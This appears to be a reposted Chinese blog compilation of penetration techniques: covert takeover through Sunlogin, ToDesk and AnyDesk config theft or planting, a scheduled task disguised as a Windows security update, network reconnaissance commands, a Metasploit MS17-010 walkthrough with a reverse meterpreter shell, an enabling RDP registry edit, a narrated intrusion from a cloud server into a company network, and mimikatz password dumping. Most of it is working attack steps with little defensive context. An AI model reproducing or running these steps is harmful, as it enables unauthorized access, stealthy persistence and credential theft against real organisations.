赞
踩
https://blog.csdn.net/weixin_44216796/article/details/112118108 https://mp.weixin.qq.com/s/tS27lvNwM6xxKreapcwG4g 文章来源:奇安信攻防社区(Q16G) 原文地址:https://forum.butian.net/share/2310 向日葵 向日葵个人版for Windows <= 11.0.0.33 向日葵简约版 <= V1.0.1.43315(2021.12) 测试客户端漏洞版本:11.0.0.33162 tasklist查看是否有sunlogin的进程 直接用golang的工具来进行攻击即可 https://github.com/Mr-xn/sunlogin_rce 没漏洞 (1) 窃取配置文件来进行解密(低版本 版本号具体未知) 低版本的向日葵把密码和机器码加密写入到了配置文件中,我们可以把配置文件down到自己的机器上,然后进行重开向日葵即可。 这里向日葵版本较低,就不进行测试 (2) 在12.5.2之前的某些版本可以写到了注册表中,所以可以使用注册表来进行查询 reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInfo reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo 向日葵默认配置文件路径: 安装版:C:\\\\Program Files\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\config.ini 便携版:C:\\\\ProgramData\\\\Oray\\\\SunloginClient\\\\config.ini 本机验证码参数:encry\\\_pwd 本机识别码参数:fastcode(去掉开头字母) sunlogincode:判断用户是否登录状态 在向日葵高于12.5.3.*的已经没有办法获取secert了 todesk 常见渗透方式(偷配置,百试百灵) 这里还是和前面的向日葵一样,可以进行配置文件的窃取,默认安装路径C:\Program Files\ToDesk\config.ini 安装todesk,然后读取到config.ini中的配置文件,然后和攻击机进行替换即可。 进行替换的时候需要修改攻击机密码更新频率 手动 anydesk anydesk的配置文件在以下文件中,而通常这个时候我们有权限修改anydesk的配置文件。 C:\\Users\\用户名\\AppData\\Roaming\\AnyDesk 这里进行测试,起两个虚拟机,设定一个场景(攻击机拿到了webshell,受害机开着windows defender,如何去渗透拿到受害机权限) 攻击机ip: 10.211.55.3 + 10.211.55.2 受害机ip: 10.211.55.4(windows defender全开) MsMpEng.exe Microsoft Security Essentials 用powershell执行远程命令下载anydesk到用户的目录中去, 因为虚拟机只有C盘,所以创建了一个目录来存放,在真实的渗透过程中,一般是有RWE的目录 攻击机下载anydesk(如果下载过的小伙伴,要先清除之前的配置文件) Roaming >AnyDesk 打开攻击机的anydesk, id, 右上角的概述-->为自主访问设置密码-->设置一个密码(这里设置为Q16G666!!) 点击应用,攻击机完全退出anydesk(小托盘也要退出),并且退出时不选择安装anydesk。 到配置文件路径下 把文件复制下来。 四个。攻击机复制完之后,一定要将攻击机中的配置文件进行删除。 ad.trace service.conf system.conf user.conf 受害机 如果没有配置文件路径则进行创建 打开攻击机,生成配置文件,启动受害机的anydesk。 用攻击机进行连接, id 密码 无感绕过windows defender 创建计划任务 确定当前用户,在当前用户的目录下执行anydesk powershell "(((Get-WmiObject -Class Win32\_Process -Filter 'Name=\\"explorer.exe\\"').GetOwner().user) -split '\\n')\[0\] schtasks /Create /TN Windows\_Security\_Update /SC monthly /tr "C:\\Users\\testuser.G1TS\\Desktop\\anydesk.exe" /RU 用户名 执行计划任务 schtasks /run /tn Windows\_Security\_Update 后续步骤和上面相同 然后添加密码到配置文件中去即可。 echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf 然后查看用户的id type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf 连接即可 优点: 整个过程都不需要进行UAC弹窗,真正实现了无感绕过 缺点: (1) 会弹出anydesk的界面,导致一些问题 (2) 启动anydesk的权限需要桌面用户权限, 比如,IIS做了中间件环境,拿到的webshell一般都是没有桌面用户权限,如果启动anydesk是不会成功的。 gotohttp gotohttp在我的渗透测试过程中,是一个常见的方式, 给我的感觉,即用即连,浏览器连接,方便快捷。 但是缺点就是权限划分明确,普通用户权限起的gotohttp无法进行管理员权限操作, 比如关闭windows defender和其他一些行为,不过在规避杀软这儿也有奇效。 https://gotohttp.com/ 普通用户上去之后只能用普通用户权限, 这里下载对应的gotohttp上传上去,命令行运行他, 直接在当前目录下生成配置文件,读取配置文件,即可成功连接。
环境判定 局域网 内网 交换机路由下面 ipconfig /all 192.168.1.102(首选) 本地局域网 内网渗透篇 001-内网渗透常见知识讲解 A类: 10.0.0.0-10.255.255.255 B类: 172.16.0.0-172.31.255.255 C类: 192.168.0.0-192.168.255.255 同一局域网 防火墙穿透 木马免杀穿透 内网信息收集及目标定位 关于文件下戟。
netsh advfirewall firewall show rule name=all
ping <IP地址或域名>
netcat (简称 nc) 被誉为网络安全界的” 瑞士军刀”,是一个短小精悍的工具,通过使用 TCP 或 UDP 协议的网络连接读取数据。
使用方法:
nc -zv <IP地址 端口号>
Windows 机器不自带 nc,因此在 Windows 机器上需要使用 Telnet,而 Telnet 也需要我们自己开启。
Windows10 下开启 Telnet 命令:
#开启
dism /online /Enable-Feature /FeatureName:TelnetClient#关闭
dism /online /Disable-Feature /FeatureName:TelnetClient
Telnet 使用方法:
telnet <IP地址 端口号>
使用脚本 Test-PortConnectivity.ps1 下载地址:https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b #Test-PortConnectivity -Source '127.0.0.1' -RemoteDestination 'dc1' -Port 57766#Test-PortConnectivity '127.0.0.1' 'dc1' 57766 -Protocol UDP -Iterate#Test-PortConnectivity 'localhost' 'dc2' 51753 -Protocol UDP#Test-PortConnectivity -Source $EUCAS -RemoteDestination $EUMBX -Port 135 -Iterate#Test-PortConnectivity -Source 'localhost' -RemoteDestination '127.0.0.1' -Port 135 -Iterate -protocol TCPFunction Test-PortConnectivity(){ Param( [Parameter(Position=0)] $Source, [Parameter(Mandatory=$true,Position=1)] $RemoteDestination, [Parameter(Mandatory=$true,Position=2)][ValidateScript({ If($_ -match "^[0-9]+$"){ $True } else{ Throw "A port should be a numeric value, and $_ is not a valid number" } }) ]$Port, [Parameter(Position=3)][ValidateSet('TCP','UDP')] $Protocol = 'TCP', [Switch] $Iterate ) #If $source is a local name, invoke command is not required and we can test port, withhout credentials If($Source -like "127.*" -or $source -like "*$(hostname)*" -or $Source -like 'localhost') { Do { Telnet-Port $RemoteDestination $Port $Protocol; Start-Sleep -Seconds 1 #Initiate sleep to slow down Continous telnet }While($Iterate) } Else #Prompt for credentials when Source is not the local machine. { $creds = Get-Credential Do { Foreach($Src in $Source) { Invoke-command -ComputerName $Src -Credential $creds -ScriptBlock ${ Function:Telnet-Port} -ArgumentList $RemoteDestination,$port, $Protocol } #Initiate sleep to slow down Continous telnet Start-Sleep -Seconds 1 }While($Iterate) }} Function Telnet-Port($RemoteDestination, $port, $Protocol){ foreach($Target in $RemoteDestination) { Foreach($CurrentPort in $Port) { If($Protocol -eq 'TCP') { try { If((New-Object System.Net.Sockets.TCPClient ($Target,$currentPort) -ErrorAction SilentlyContinue).connected) { Write-host "$((hostname).toupper()) connected to $($Target.toupper()) on $Protocol port : $currentPort " -back green -ForegroundColor White } } catch { Write-host "$((hostname).toupper()) Not connected to $($Target.toupper()) on $Protocol port : $currentPort" -back red -ForegroundColor white } } Else { #Create object for connecting to port on computer $UDPClient = new-Object system.Net.Sockets.Udpclient #Set a timeout on receiving message, to avoid source machine to Listen forever. $UDPClient.client.ReceiveTimeout = 5000 #Datagrams must be sent with Bytes, hence the text is converted into Bytes $ASCII = new-object system.text.asciiencoding $Bytes = $ASCII.GetBytes("Hi") #UDP datagram is send [void]$UDPClient.Send($Bytes,$Bytes.length,$Target,$Port) $RemoteEndpoint = New-Object system.net.ipendpoint([system.net.ipaddress]::Any,0) Try { #Waits for a UDP response until timeout defined above $RCV_Bytes = $UDPClient.Receive([ref]$RemoteEndpoint) $RCV_Data = $ASCII.GetString($RCV_Bytes) If ($RCV_Data) { Write-host "$((hostname).toupper()) connected to $($Target.toupper()) on $Protocol port : $currentPort " -back green -ForegroundColor White } } catch { #if the UDP recieve is timed out #it's infered that no response was received. Write-host "$((hostname).toupper()) Not connected to $($Target.toupper()) on $Protocol port : $currentPort " -back red -ForegroundColor White } Finally { #Disposing Variables $UDPClient.Close() $RCV_Data=$RCV_Bytes=$null } } } }} powershell -exec bypass -command "& { import-module C:\Users\GU\Desktop\Test-PortConnectivity.ps1; Test-PortConnectivity 'localhost' '127.0.0.1' 7777 -Iterate -protocol UDP}" 本机使用 ncat 开启 udp 监听,再运行此脚本。 监听处出现 Hi 字样,即表示连通
使用工具 curl,有的 Windows 自带 curl,有的需要自己安装。
使用方法:
curl www.baidu.com
开启 21 端口,并使用 ftp 连接。
Windows 下使用 nslookup,linux 下还可以使用 dig。
#Windows
nslookup www.baidu.com
#Linux
dig www.baidu.com
使用命令:
nslookup -type=TXT test.hackergu.com
HostRecon
下载地址:https://github.com/dafthack/HostRecon
使用命令:
Import-Module .\HostRecon.ps1
Invoke-HostRecon -Portscan -TopPorts 128
在内网中的机器,也可能是通过代理连接内网。
检查方法:
查看内网中,与其他机器的网络连接。
查看内网中是否有主机名类似于 proxy 的机器。
根据 pac 文件的路径,将其下载下来并查看。
执行如下命令,进行确认。
curl -x proxy-ip:port www.baidu.com
永恒之蓝(ms17-010)过TCP端口445和139
来利用SMBv1 SMB 协议 即 SMBv1 全名: Server Message Block
和NBT中的远程代码执行漏洞,
恶意代码会扫描开放445文件共享端口的Windows机器,
无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt
在处理FEA(File Extended Attributes)转换时,
在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。
然后会进行如下操作:
srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
目前已知受影响的Windows 版本包括但不限于:
WindowsNT,2000、 XP、 2003、Vista、 7、 8,2008、2008 R2、2012 SP0。
搜索ms17_010漏洞:search ms17_010
进入漏洞模块: use exploit/windows/smb/ms17_010_eternalblue
查看漏洞模块信息:info
设置攻击目标:set RHOSTS 172.16.7.180
查看可用的攻击payload:show payloads
选择并设置攻击Payload:set payload windows/x64/meterpreter/reverse_tcp
设置接收信息的本地设备:set LHOST 172.16.7.95 and port
最后检查下当前的配置:show options
开始攻击:exploit
直接拿到目标的Shell,然后任意命令执行
获取用户密码
load kiwi
进程迁移
creds_all
shell切换到控制机dos界面
创建新用户
提升至管理员权限
输入 net localgroup administrators查看管理员都有谁
开启 远程桌面控制
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
rdesktop x.x.x.x:3389
Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets
http://k8gege.org/Ladon/cmddll.html
https://blog.csdn.net/k8gege/article/details/112253408
当一个企业把他的业务放到腾讯云或阿里云等公有云的时候,其是与企业的内网是不相通的,
相当于逻辑隔离了(非物理隔离),
如果企业信息安全做的相对较好,不暴露VPN地址或者路由器或防火墙业务,
信息收集的时候,是很难进精准定位到企业的内网使用的公网地址的。
这个时候,想要入侵内网相对困难。
下面就介绍一下我从入侵公有云到渗透进内网进行漫游的实际渗透过程。
怎样入侵拿下云服务器的不是本文重点,故不做详细介绍,只简单介绍思路。
根据公司名字,直接百度发现官网地址。根据官网地址进行了一波信息收集:
1、发现站点使用了CDN,是腾讯云主机,ip是变化的,无法探测真实IP
2、发现存在任意命令执行漏洞。直接RCE,拿下服务器权限。
先看下ip地址
发现显示的是内网地址,这个时候,查看下真实的ip,虽然这个对接下来的内网渗透没什么diao用。
到此才发现是腾讯云,主机不在内网。
这个时候,我就要办法获取公司办公网的外网IP了,
这个外网ip要么是防火墙的,要么是路由器的。怎么获取呢?
我想到了一个办法,一般云主机,
运维人员会通过ssh来进行管理,一般在上班时间,他们会连接进来,这个时候,就会获取到公司的真实公网IP。
教大家一个小技巧,如果是小公司,运维可能十天半个月都不会连上来,
这个时候,我们就可以搞点“小破坏”,逼迫运维上线。
比如关闭它的web服务等等,大家千万注意两点:
1.动作不要太大,免得被运维发现被黑,当然你可以提前做权限维持,这里不做介绍。
2. 没有“授权”,千万不要乱搞;没有授权,千万不要乱搞;没有授权,千万不要乱搞,
3. 否则就会进局子吃免费的饭了,咋不能干违法的事,哈哈。
我们看看运维上线没:
[root@VM-0-13-centos~]# netstat -lantp | grep ESTABLISHED
我们重点关注sshd进程,这个前面的公网IP就的运维所在公司的公网IP。
我这里发现了两个。。。
同样繁琐的事情来一波,信息收集。。。
发现了shiro发序列化漏洞,直接反弹shell了
直接进来了:
看一下内网地址:内网地址是10.10.10.187
看看目标机器能否访问外网:
最理想的状态,可以访问外网,接下来就可以开始代理进内网进行渗透了。
frp+Proxifier代理搞起来,这里怎样搭建就不详细介绍了,可以自行谷歌。
很简单,最好是socks5代理,并加密,躲一下AV的流量检测;
也最好增加代理的密码,防止“别人”使用。
我这里使用了修改版的frp,利用远程加载配置文件的方式,稍微躲避一下,增加一点点溯源的难度:
代理搭建完,接下来扫一下内网看看:
有经典的MS17-010漏洞,其实还发现了很多其他的漏洞。
就拿最好利用的MS17-010快速开始吧,而且是windows服务器,利用价值大,且拿下后,
用服务器再做一层代理,连RDP可以快速结束战斗,一把梭。
我的msf是公网,利用proxychains代理一下,直接。
开始:
成功(这张图是后来补的,信息可能不一致,但原理一样)
看下权限是system最高权限,省去提权了。
利用mimikatz来抓取密码:
获取到了管理员的密码
发现开了3389直接登录
发现了这个,虚拟机备份,这个可以使用本地认证,有搞头。。。
发现了群辉NAS
发现了3台Vcenter
虚拟机超多呀,粗略看了一下,几百台。。。。全部可以接管了
感谢 黑猫老哥 提供 文章 【再次感谢 】
Windows的系统密码hash一般由两部分组成:
LM-Hash和NTLM-Hash hash
格式为username:RID:LM-Hash:NTLM-Hash
Mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz
Mimikatz可以从lsass.exe 进程里获取windows处于active状态账号的明文密码。
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码 full
导出SAM表,通过mimikatz来提取
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
lsadump::sam /sam:SAM /system:SYSTEM
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。